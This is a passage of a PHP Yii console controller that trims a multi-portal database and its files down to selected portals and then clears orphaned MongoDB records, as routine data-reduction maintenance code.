                    Yii::$app->db->createCommand('DELETE FROM websites_photos WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute(); 
                }
                
                $idsWebsitesWidgets = Yii::$app->db->createCommand('SELECT id_widget FROM websites_widgets WHERE id_website IN ('. implode(", ", $idsWebsites).')')->queryColumn(); 
                if(!empty($idsWebsitesWidgets)) {
                    Yii::$app->db->createCommand('DELETE FROM websites_widgets_has_websites_photos WHERE id_widget IN ('. implode(", ", $idsWebsitesWidgets).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_widgets_has_websites_items WHERE id_widget IN ('. implode(", ", $idsWebsitesWidgets).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_widgets_has_websites_attachments WHERE id_widget IN ('. implode(", ", $idsWebsitesWidgets).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_widgets_translations WHERE id_widget IN ('. implode(", ", $idsWebsitesWidgets).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_widgets WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute(); 
                }
                
                $idsWebsitesItems = Yii::$app->db->createCommand('SELECT id_item FROM websites_items WHERE id_website IN ('. implode(", ", $idsWebsites).')')->queryColumn(); 
                if(!empty($idsWebsitesItems)) {
                    Yii::$app->db->createCommand('DELETE FROM websites_items_has_websites_photos WHERE id_item IN ('. implode(", ", $idsWebsitesItems).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_items_has_websites_pages_categories WHERE id_item IN ('. implode(", ", $idsWebsitesItems).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_items_has_websites_attachments WHERE id_item IN ('. implode(", ", $idsWebsitesItems).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_items_translations WHERE id_item IN ('. implode(", ", $idsWebsitesItems).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_items WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute(); 
                }
                
                $idsWebsitesPages = Yii::$app->db->createCommand('SELECT id_page FROM websites_pages WHERE id_website IN ('. implode(", ", $idsWebsites).')')->queryColumn(); 
                if(!empty($idsWebsitesPages)) {
                    $idsWebsitesPagesCategories = Yii::$app->db->createCommand('SELECT id_category FROM websites_pages_categories WHERE id_page IN ('. implode(", ", $idsWebsitesPages).')')->queryColumn(); 
                    if(!empty($idsWebsitesPagesCategories)) {
                        Yii::$app->db->createCommand('DELETE FROM websites_pages_categories_translations WHERE id_category IN ('. implode(", ", $idsWebsitesPagesCategories).')')->execute();
                        Yii::$app->db->createCommand('DELETE FROM websites_pages_categories WHERE id_page IN ('. implode(", ", $idsWebsitesPages).')')->execute();
                    }
                    
                    Yii::$app->db->createCommand('DELETE FROM websites_pages_has_websites_attachments WHERE id_page IN ('. implode(", ", $idsWebsitesPages).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_pages_has_websites_items WHERE id_page IN ('. implode(", ", $idsWebsitesPages).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_pages_has_websites_photos WHERE id_page IN ('. implode(", ", $idsWebsitesPages).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_pages_has_websites_widgets WHERE id_page IN ('. implode(", ", $idsWebsitesPages).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_pages_translations WHERE id_page IN ('. implode(", ", $idsWebsitesPages).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_pages WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute(); 
                }
                
                $idsWebsitesMenus = Yii::$app->db->createCommand('SELECT id_menu FROM websites_menus WHERE id_website IN ('. implode(", ", $idsWebsites).')')->queryColumn(); 
                if(!empty($idsWebsitesMenus)) {
                    Yii::$app->db->createCommand('DELETE FROM websites_menus_translations WHERE id_menu IN ('. implode(", ", $idsWebsitesMenus).')')->execute();
                    Yii::$app->db->createCommand('DELETE FROM websites_menus WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute(); 
                }
                
                Yii::$app->db->createCommand('DELETE FROM websites_has_languages WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute(); 
                Yii::$app->db->createCommand('DELETE FROM websites_has_websites_modules WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute();
                Yii::$app->db->createCommand('DELETE FROM websites_translations WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute();                
                Yii::$app->db->createCommand('DELETE FROM websites WHERE id_website IN ('. implode(", ", $idsWebsites).')')->execute();
            }
            
            if(!empty($idsDocuments)) {
                Yii::$app->db->createCommand('DELETE FROM companies_documents_files WHERE id_document IN ('. implode(", ", $idsDocuments).')')->execute();            
                Yii::$app->db->createCommand('DELETE FROM companies_documents_tasks WHERE id_document IN ('. implode(", ", $idsDocuments).')')->execute();
                Yii::$app->db->createCommand('DELETE FROM companies_documents WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();
            }
            
            Yii::$app->db->createCommand('DELETE FROM job_offers WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute(); 
            
            Yii::$app->db->createCommand('DELETE FROM invoices WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute(); 
            
            Yii::$app->db->createCommand('DELETE FROM mailings WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM mailings_contents WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM mailings_reservations WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();
                        
            $idsUsersForDelete = Yii::$app->db->createCommand('SELECT DISTINCT id_user FROM companies WHERE id_company IN ('. implode(", ", $idsCompanies).')')->queryColumn(); 
            
            Yii::$app->db->createCommand('DELETE FROM companies_cases WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM companies_changes WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM companies_delivery_price_lists WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM companies_about_sellers WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM companies_warranties WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();    
            
            Yii::$app->db->createCommand('DELETE FROM companies_complaints_terms WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute(); 
            
            Yii::$app->db->createCommand('DELETE FROM companies_goods_returns_terms WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();       
            
            Yii::$app->db->createCommand('DELETE FROM companies_leaves WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();   
            
            Yii::$app->db->createCommand('DELETE FROM companies WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();  

            Yii::$app->db->createCommand('DELETE FROM shopping_address_book WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();  
            
            Yii::$app->db->createCommand('DELETE FROM shopping_data_to_account WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();  
            
            Yii::$app->db->createCommand('DELETE FROM external_websites_changes_monitoring WHERE id_company IN ('. implode(", ", $idsCompanies).')')->execute();  
        }
        
        Yii::$app->db->createCommand('DELETE FROM companies_presentations WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        
        Yii::$app->db->createCommand('DELETE FROM companies_categories WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        
        $idsPartners = Yii::$app->db->createCommand('SELECT id_partner FROM partners WHERE id_partner NOT IN (SELECT DISTINCT id_partner FROM partners_has_portals WHERE id_portal IN ('. implode(", ", $this->idsSelectedPortals).'))')->queryColumn(); 
        if(!empty($idsPartners)) {
            $partners = Yii::$app->db->createCommand('SELECT id_partner, logo_filename FROM partners WHERE id_partner IN ('. implode(", ", $idsPartners).')')->queryAll();             
            foreach($partners as $partner) {
                if(!empty($partner['logo_filename'])) {
                    $file = Yii::getAlias('@partnersImagesRealPath').'/'.$partner['logo_filename'];
                    if(!$this->debugMode && file_exists($file)) {
                        $this->deleteVariants($file, \common\models\Partners::getAcceptedSizes());
                        @unlink($file);
                    } 
                }
                
                $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@partnersContentsImagesDirName').'/'.$partner['id_partner'].'/', true);
                $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@partnersContentsImagesDirName').'/'.$partner['id_partner'].'/', true);
            }
        }
        
        $idsPortalsAdsInfo = Yii::$app->db->createCommand('SELECT id_info FROM portals_ads_info WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->queryColumn(); 
        if(!empty($idsPortalsAdsInfo)) {
            foreach($idsPortalsAdsInfo as $idPortalAdInfo) {
                $this->removeDir(Yii::getAlias('@sourcesRealPath').'/ads_info/'.$idPortalAdInfo.'/', true);
                $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/ads_info/'.$idPortalAdInfo.'/', true);
            }
        }
        
        $idsTrainings = Yii::$app->db->createCommand('SELECT id_training FROM trainings WHERE id_training NOT IN (SELECT DISTINCT id_training FROM trainings_has_portals WHERE id_portal IN ('. implode(", ", $this->idsSelectedPortals).'))')->queryColumn(); 
        if(!empty($idsTrainings)) {           
            foreach($idsTrainings as $idTraining) {
                $this->removeDir(Yii::getAlias('@trainingsAttachmentsRealPath').'/'.$idTraining.'/', true);
                $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@trainingsContentsImagesDirName').'/'.$idTraining.'/', true);
                $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@trainingsContentsImagesDirName').'/'.$idTraining.'/', true);
                
//                \frontend\models\IndexTrainings::deleteRecord($idTraining);
            } 
        }
        Yii::$app->db->createCommand('DELETE FROM trainings_has_portals WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute(); 
        
        Yii::$app->db->createCommand('DELETE FROM portals_has_bookstore_categories WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        Yii::$app->db->createCommand('DELETE FROM portals_has_operators WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        Yii::$app->db->createCommand('DELETE FROM portals_has_products_promoted WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        Yii::$app->db->createCommand('DELETE FROM portals_has_tenders_cpv WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        Yii::$app->db->createCommand('DELETE FROM portals_has_trainings_categories WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        Yii::$app->db->createCommand('DELETE FROM products_categories WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        Yii::$app->db->createCommand('DELETE FROM recommended_sites WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        
        if(!empty($idsUsersForDelete)) {        
            $ids = Yii::$app->db->createCommand('SELECT DISTINCT id_user FROM companies WHERE id_user IN ('. implode(", ", $idsUsersForDelete).')')->queryColumn();
            if(!empty($ids)) {
                $idsTemp = [];
                foreach($ids as $id) {
                    $idsTemp[$id] = true;
                }

                foreach($idsUsersForDelete as $key => $idUserForDelete) {
                    //wykluczamy użytkowników, którzy mają inne firmy (takie, których nie usuwamy)
                    if(!empty($idsTemp[$idUserForDelete])) {
                        unset($idsUsersForDelete[$key]);
                    }
                }
                unset($idsTemp, $ids);
            }
        }
        
//        $idsUsers = Yii::$app->db->createCommand('SELECT DISTINCT users_has_portals.id_user FROM users_has_portals, users WHERE users.id_user = users_has_portals.id_user AND users.profile IN (\'użytkownik\', \'firma\') AND users_has_portals.id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->queryColumn();        
        $idsUsers = Yii::$app->db->createCommand('SELECT DISTINCT id_user FROM users WHERE id_user NOT IN (SELECT DISTINCT id_user FROM users_has_portals WHERE id_portal IN ('. implode(", ", $this->idsSelectedPortals).')) AND profile IN (\'użytkownik\', \'firma\')')->queryColumn();        
        if(!empty($idsUsers)) {
            $idsUsersForDelete = array_unique(array_merge($idsUsersForDelete, $idsUsers));
        }
        
        if(!empty($idsUsersForDelete)) { 
            if(isset($idsUsersForDelete[1])) {
                unset($idsUsersForDelete[1]);
            }
            
            foreach($idsUsersForDelete as $idUserForDelete) {
                $this->removeDir(Yii::getAlias('@usersImagesRealPath').'/'.$idUserForDelete.'/', true);
            }
            
//            $users = Yii::$app->db->createCommand('SELECT id_user, avatar_filename, profile FROM users WHERE id_user IN ('. implode(", ", $idsUsersForDelete).')')->queryAll();
//            
//            foreach($users as $user) {
//                if(!empty($this->avatar_filename)) {
//                    $file = \Yii::getAlias('@usersImagesRealPath').'/'.$user['id_user'].'/'.$user['avatar_filename'];
//                    if(!$this->debugMode && file_exists($file)) {
//                        $this->deleteVariants($file, \common\models\Users::getAcceptedSizes());
//                        @unlink($file);
//                    } 
//                }
//
////                if(!$this->debugMode) {
////                    \common\models\Emails::deleteAll(['id_user' => $user['id_user']]);
////                    \common\models\Notifications::deleteAll(['id_user' => $user['id_user']]);
////                }
////                Yii::$app->authManager->revoke(Yii::$app->authManager->getRole($user['profile']), $user['id_user']);  
//            }
            
            Yii::$app->db->createCommand('DELETE FROM users WHERE id_user IN ('. implode(", ", $idsUsersForDelete).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM auth_assignment WHERE user_id IN ('. implode(", ", array_map(function($item) { return "'".$item."'"; }, $idsUsersForDelete)).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM shopping_address_book WHERE id_user IN ('. implode(", ", $idsUsersForDelete).')')->execute();
            
            Yii::$app->db->createCommand('DELETE FROM shopping_data_to_account WHERE id_user IN ('. implode(", ", $idsUsersForDelete).')')->execute();            
        }
        
        Yii::$app->db->createCommand('DELETE FROM users_has_portals WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        
        Yii::$app->db->createCommand('DELETE FROM external_websites_changes_monitoring_has_portals WHERE id_portal NOT IN ('. implode(", ", $this->idsSelectedPortals).')')->execute();
        
        Yii::$app->db->createCommand('UPDATE articles_tags SET quantity = 0')->execute();
        Yii::$app->db->createCommand('UPDATE articles_tags SET quantity = t.counter FROM (SELECT id_tag AS id, COUNT(id_article) AS counter FROM articles_has_articles_tags GROUP BY id_tag) AS t WHERE id_tag = t.id')->execute();
        Yii::$app->db->createCommand('DELETE FROM articles_tags WHERE quantity = 0')->execute();

        Yii::$app->db->createCommand('UPDATE books_tags SET quantity = 0')->execute();
        Yii::$app->db->createCommand('UPDATE books_tags SET quantity = t.counter FROM (SELECT id_tag AS id, COUNT(id_book) AS counter FROM books_has_books_tags GROUP BY id_tag) AS t WHERE id_tag = t.id')->execute();
        Yii::$app->db->createCommand('DELETE FROM books_tags WHERE quantity = 0')->execute();
        
        Yii::$app->db->createCommand('UPDATE fairs_tags SET quantity = 0')->execute();
        Yii::$app->db->createCommand('UPDATE fairs_tags SET quantity = t.counter FROM (SELECT id_tag AS id, COUNT(id_fair) AS counter FROM fairs_has_fairs_tags GROUP BY id_tag) AS t WHERE id_tag = t.id')->execute();
        Yii::$app->db->createCommand('DELETE FROM fairs_tags WHERE quantity = 0')->execute();
        
        Yii::$app->db->createCommand('UPDATE presentations_tags SET quantity = 0')->execute();
        Yii::$app->db->createCommand('UPDATE presentations_tags SET quantity = t.counter FROM (SELECT id_tag AS id, COUNT(id_presentation) AS counter FROM companies_presentations_has_presentations_tags GROUP BY id_tag) AS t WHERE id_tag = t.id')->execute();
        Yii::$app->db->createCommand('DELETE FROM presentations_tags WHERE quantity = 0')->execute();
        
        Yii::$app->db->createCommand('UPDATE products_tags SET quantity = 0')->execute();
        Yii::$app->db->createCommand('UPDATE products_tags SET quantity = t.counter FROM (SELECT id_tag AS id, COUNT(id_product) AS counter FROM products_has_products_tags GROUP BY id_tag) AS t WHERE id_tag = t.id')->execute();
        Yii::$app->db->createCommand('DELETE FROM products_tags WHERE quantity = 0')->execute();
        
        //tutaj usuwamy losowo jakieś pasujące do portali artykuły, tylko po to, aby zmniejszyć rozmiar aplikacji
        $ids = Yii::$app->db->createCommand('SELECT id_article FROM articles')->queryColumn(); 
        if(!empty($ids)) {
            $idsForDelete = [];
            foreach($ids as $key => $id) {
                if(rand(1, 100) > 34) { //usuwamy 2/3 (67%) artykułów
                    $idsForDelete[] = $id;
                    $this->removeDir(Yii::getAlias('@articlesImagesRealPath').'/'.$id.'/', true);
                    $this->removeDir(Yii::getAlias('@articlesAttachmentsRealPath').'/'.$id.'/', true);
                    $this->removeDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$id.'/', true);
                    $this->removeDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$id.'/', true);
                }
            }
            
            if(!empty($idsForDelete)) {
                Yii::$app->db->createCommand('DELETE FROM articles WHERE id_article IN ('. implode(", ", $idsForDelete).')')->execute();
            }
        }
        
        var_dump('OK');

        if($this->debugMode === true) {
            $transaction->rollBack();
        } else {
            $transaction->commit();
        }
    }
    
    public function actionClearMongoDb()
    {        
        $existsCollections = \yii\helpers\ArrayHelper::getColumn(Yii::$app->mongodb->getDatabase()->listCollections(), 'name');
        
        $idsCompaniesTemp = Yii::$app->db->createCommand('SELECT id_company FROM companies')->queryColumn(); 
        $idsCompanies = [];
        foreach($idsCompaniesTemp as $idCompanyTemp) {
            $idsCompanies[(int)$idCompanyTemp] = (int)$idCompanyTemp;
        }
        unset($idsCompaniesTemp);
        
        $idsUsersTemp = Yii::$app->db->createCommand('SELECT id_user FROM users')->queryColumn(); 
        $idsUsers = [];
        foreach($idsUsersTemp as $idUserTemp) {
            $idsUsers[(int)$idUserTemp] = (int)$idUserTemp;
        }
        unset($idsCompaniesTemp);
        
        $idsPresentationsTemp = Yii::$app->db->createCommand('SELECT id_presentation FROM companies_presentations')->queryColumn(); 
        $idsPresentations = [];
        foreach($idsPresentationsTemp as $idPresentationTemp) {
            $idsPresentations[(int)$idPresentationTemp] = (int)$idPresentationTemp;
        }
        unset($idsPresentationsTemp);
        
        //czyścimy: companies_contact_data_views
        $documents = (new \yii\mongodb\Query())->from('companies_contact_data_views')->select(['_id', 'id_company', 'id_portal'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $idCompany = (int)$document['id_company'];
                $idPortal = (int)$document['id_portal'];
                if(!isset($idsCompanies[$idCompany]) || !in_array($idPortal, $this->idsSelectedPortals)) {
                    Yii::$app->mongodb->getCollection('companies_contact_data_views')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        $idsProductsTemp = Yii::$app->db->createCommand('SELECT id_product FROM products')->queryColumn(); 
        $idsProducts = [];
        foreach($idsProductsTemp as $idProductTemp) {
            $idsProducts[(int)$idProductTemp] = (int)$idProductTemp;
        }
        unset($idsProductsTemp);
        
        //czyścimy: products_visits
        Yii::$app->mongodb->getCollection('products_visits')->remove(['id_portal' => ['$nin' => $this->idsSelectedPortals]]);
        $query = (new \yii\mongodb\Query())->from('products_visits')->select(['_id', 'id_product', 'id_portal']);
        foreach($query->each() as $document) {
            $idProduct = (int)$document['id_product'];
            $idPortal = (int)$document['id_portal'];
            if(!isset($idsProducts[$idProduct]) || !in_array($idPortal, $this->idsSelectedPortals)) {
                Yii::$app->mongodb->getCollection('products_visits')->remove(['_id' => (string)$document['_id']]);
            }
        }
        
        //czyścimy: surveys_shipping
        $documents = (new \yii\mongodb\Query())->from('surveys_shipping')->select(['_id', 'id_user', 'id_company'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $idUser = !empty($document['id_user']) ? (int)$document['id_user'] : null;
                $idCompany = !empty($document['id_company']) ? (int)$document['id_company'] : null;
                if((!empty($idUser) && !isset($idsUsers[$idUser])) || (!empty($idCompany) && !isset($idsCompanies[$idCompany]))) {
                    Yii::$app->mongodb->getCollection('surveys_shipping')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: tasks_generating_articles
        $documents = (new \yii\mongodb\Query())->from('tasks_generating_articles')->select(['_id', 'id_company', 'id_product', 'ids_portals'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {                
                $idCompany = !empty($document['id_company']) ? (int)$document['id_company'] : null;
                $idProduct = !empty($document['id_product']) ? (int)$document['id_product'] : null;
                $idsPortals = (array)$document['ids_portals'];
                if((!empty($idCompany) && !isset($idsCompanies[$idCompany])) || (!empty($idProduct) && !isset($idsProducts[$idProduct]))) {
                    Yii::$app->mongodb->getCollection('tasks_generating_articles')->remove(['_id' => (string)$document['_id']]);
                } else {
                    $outputIdsPortals = array_intersect($idsProducts, $this->idsSelectedPortals);
                    if(empty($outputIdsPortals)) {
                        Yii::$app->mongodb->getCollection('tasks_generating_articles')->remove(['_id' => (string)$document['_id']]);
                    } elseif(!empty(array_diff($idsPortals, $outputIdsPortals))) {
                        sort($outputIdsPortals);
                        Yii::$app->mongodb->getCollection('tasks_generating_articles')->update(['_id' => (string)$document['_id']], [
                            'ids_portals' => $outputIdsPortals,
                        ]);
                    }
                }
            }
        }
        
        //czyścimy: tasks_generating_presentations
        $documents = (new \yii\mongodb\Query())->from('tasks_generating_presentations')->select(['_id', 'id_presentation'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {                
                $idPresentation = (int)$document['id_presentation'];
                if(!isset($idsPresentations[$idPresentation])) {
                    Yii::$app->mongodb->getCollection('tasks_generating_presentations')->remove(['_id' => (string)$document['_id']]);
                } 
            }
        }
        
        //czyścimy: tasks_generating_products
        $documents = (new \yii\mongodb\Query())->from('tasks_generating_products')->select(['_id', 'id_product'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {                
                $idProduct = (int)$document['id_product'];
                if(!isset($idsProducts[$idProduct])) {
                    Yii::$app->mongodb->getCollection('tasks_generating_products')->remove(['_id' => (string)$document['_id']]);
                } 
            }
        }
        
        //czyścimy: undelivered_mails
        $documents = (new \yii\mongodb\Query())->from('undelivered_mails')->select(['_id', 'ids_users', 'ids_companies'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $existsIdsUsers = (array)$document['ids_users'];
                $outputIdsUsers = [];
                $existsIdsCompanies = (array)$document['ids_companies'];
                $outputIdsCompanies = [];
                if(!empty($existsIdsUsers)) {
                    foreach($existsIdsUsers as $existIdUser) {
                        if(isset($idsUsers[$existIdUser])) {
                            $outputIdsUsers[] = $existIdUser;
                        }
                    }
                }
                if(!empty($existsIdsCompanies)) {
                    foreach($existsIdsCompanies as $existIdCompany) {
                        if(isset($idsCompanies[$existIdCompany])) {
                            $outputIdsCompanies[] = $existIdCompany;
                        }
                    }
                }
                
                if(empty($outputIdsUsers) && empty($outputIdsCompanies)) {
                    Yii::$app->mongodb->getCollection('undelivered_mails')->remove(['_id' => (string)$document['_id']]);
                } elseif(!empty(array_diff($existsIdsUsers, $outputIdsUsers)) || !empty(array_diff($existsIdsCompanies, $outputIdsCompanies))) {
                    sort($outputIdsUsers);
                    sort($outputIdsCompanies);
                    Yii::$app->mongodb->getCollection('undelivered_mails')->update(['_id' => (string)$document['_id']], [
                        'ids_users' => $outputIdsUsers,
                        'ids_companies' => $outputIdsCompanies,
                    ]);
                }
            }
        }
        
        $idsBannersTemp = Yii::$app->db->createCommand('SELECT id_banner FROM banners')->queryColumn(); 
        $idsBanners = [];
        foreach($idsBannersTemp as $idBannerTemp) {
            $idsBanners[(int)$idBannerTemp] = (int)$idBannerTemp;
        }
        unset($idsBannersTemp);
        
        //czyścimy: banners_visits
        Yii::$app->mongodb->getCollection('banners_visits')->remove(['id_portal' => ['$nin' => $this->idsSelectedPortals]]);
        $query = (new \yii\mongodb\Query())->from('banners_visits')->select(['_id', 'id_banner']);
        foreach($query->each() as $document) {
            $id = (int)$document['id_banner'];
            if(!isset($idsBanners[$id])) {
                Yii::$app->mongodb->getCollection('banners_visits')->remove(['_id' => (string)$document['_id']]);
            }
        }
        
        //czyścimy: banners_reports
        $documents = (new \yii\mongodb\Query())->from('banners_reports')->select(['_id', 'id_banner'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $id = (int)$document['id_banner'];
                if(!isset($idsBanners[$id])) {
                    Yii::$app->mongodb->getCollection('banners_reports')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: companies_presentations_visits
        Yii::$app->mongodb->getCollection('companies_presentations_visits')->remove(['id_portal' => ['$nin' => $this->idsSelectedPortals]]);
        $query = (new \yii\mongodb\Query())->from('companies_presentations_visits')->select(['_id', 'id_presentation']);
        foreach($query->each() as $document) {
            $id = (int)$document['id_presentation'];
            if(!isset($idsPresentations[$id])) {
                Yii::$app->mongodb->getCollection('companies_presentations_visits')->remove(['_id' => (string)$document['_id']]);
            }
        }
        
        //czyścimy: companies_orders_archive
        $documents = (new \yii\mongodb\Query())->from('companies_orders_archive')->select(['_id', 'id_company'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['id_company'];
                if(!isset($idsCompanies[$id])) {
                    Yii::$app->mongodb->getCollection('companies_orders_archive')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: emails
        $documents = (new \yii\mongodb\Query())->from('emails')->select(['_id', 'id_user', 'id_company'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $idUser = (int)$document['id_user'];
                $idCompany = (int)$document['id_company'];
                if((!empty($idUser) && !isset($idsUsers[$idUser])) || (!empty($idCompany) && !isset($idsCompanies[$idCompany]))) {
                    Yii::$app->mongodb->getCollection('emails')->remove(['_id' => (string)$document['_id']]);
                } 
            }
        }
        
        //czyścimy: fast_login_tokens
        $documents = (new \yii\mongodb\Query())->from('fast_login_tokens')->select(['_id', 'id_user'])->all();
        if(!empty($documents)) {            
            foreach($documents as $document) {
                $id = (int)$document['id_user'];
                if(!isset($idsUsers[$id])) {
                    Yii::$app->mongodb->getCollection('fast_login_tokens')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: articles_changelogs
        $documents = (new \yii\mongodb\Query())->from('articles_changelogs')->select(['_id'])->all();
        if(!empty($documents)) {            
            $idsArticlesTemp = Yii::$app->db->createCommand('SELECT id_article FROM articles')->queryColumn(); 
            $idsArticles = [];
            foreach($idsArticlesTemp as $idArticleTemp) {
                $idsArticles[(int)$idArticleTemp] = (int)$idArticleTemp;
            }
            unset($idsArticlesTemp);
            
            foreach($documents as $document) {
                $id = (int)$document['_id'];
                if(!isset($idsArticles[$id])) {
                    Yii::$app->mongodb->getCollection('articles_changelogs')->remove(['_id' => $id]);
                }
            }
            unset($idsArticles);
        }
        
        $idsMailingsTemp = Yii::$app->db->createCommand('SELECT id_mailing FROM mailings')->queryColumn(); 
        $idsMailings = [];
        foreach($idsMailingsTemp as $idMailingTemp) {
            $idsMailings[(int)$idMailingTemp] = (int)$idMailingTemp;
        }
        unset($idsMailingsTemp);
        
        //czyścimy: mailings_reports
        $documents = (new \yii\mongodb\Query())->from('mailings_reports')->select(['_id', 'id_mailing'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $id = (int)$document['id_mailing'];
                if(!isset($idsMailings[$id])) {
                    Yii::$app->mongodb->getCollection('mailings_reports')->remove(['_id' => (string)$document['_id']]);
                }
            }
        }
        
        //czyścimy: mailings_urls_visits
        Yii::$app->mongodb->getCollection('mailings_urls_visits')->remove(['id_portal' => ['$nin' => $this->idsSelectedPortals]]);
        $query = (new \yii\mongodb\Query())->from('mailings_urls_visits')->select(['_id', 'id_mailing']);
        foreach($query->each() as $document) {
            $id = (int)$document['id_mailing'];
            if(!isset($idsMailings[$id])) {
                Yii::$app->mongodb->getCollection('mailings_urls_visits')->remove(['_id' => (string)$document['_id']]);
            }
        }
        
        //czyścimy: import_advertisements
        if(in_array('import_advertisements', $existsCollections)) {
            $this->clearImportMapCollection('import_advertisements', Yii::$app->db->createCommand('SELECT id_advertisement FROM advertisements'));
        }
        
        //czyścimy: import_advertisements_categories
        if(in_array('import_advertisements_categories', $existsCollections)) {
            $this->clearImportMapCollection('import_advertisements_categories', Yii::$app->db->createCommand('SELECT id_category FROM advertisements_categories'));
        }
        
        //czyścimy: import_articles
        if(in_array('import_articles', $existsCollections)) {
            $this->clearImportMapCollection('import_articles', Yii::$app->db->createCommand('SELECT id_article FROM articles'));
        }
        
        //czyścimy: import_articles_categories
        if(in_array('import_articles_categories', $existsCollections)) {
            $this->clearImportMapCollection('import_articles_categories', Yii::$app->db->createCommand('SELECT id_category FROM articles_categories'));
        }
        
        //czyścimy: import_books
        if(in_array('import_books', $existsCollections)) {
            $this->clearImportMapCollection('import_books', Yii::$app->db->createCommand('SELECT id_book FROM books'));
        }
        
        //czyścimy: import_companies
        if(in_array('import_companies', $existsCollections)) {
            $this->clearImportMapCollection('import_companies', Yii::$app->db->createCommand('SELECT id_company FROM companies'));
        }
        
        //czyścimy: import_companies_awards
        if(in_array('import_companies_awards', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_awards', Yii::$app->db->createCommand('SELECT id_award FROM companies_awards'));
        }
        
        //czyścimy: import_companies_branches
        if(in_array('import_companies_branches', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_branches', Yii::$app->db->createCommand('SELECT id_branch FROM companies_branches'));
        }
        
        //czyścimy: import_companies_categories
        if(in_array('import_companies_categories', $existsCollections)) {
            $this->clearImportMapCollection('import_companies_categories', Yii::$app->db->createCommand('SELECT id_category FROM companies_categories'));
        }
        
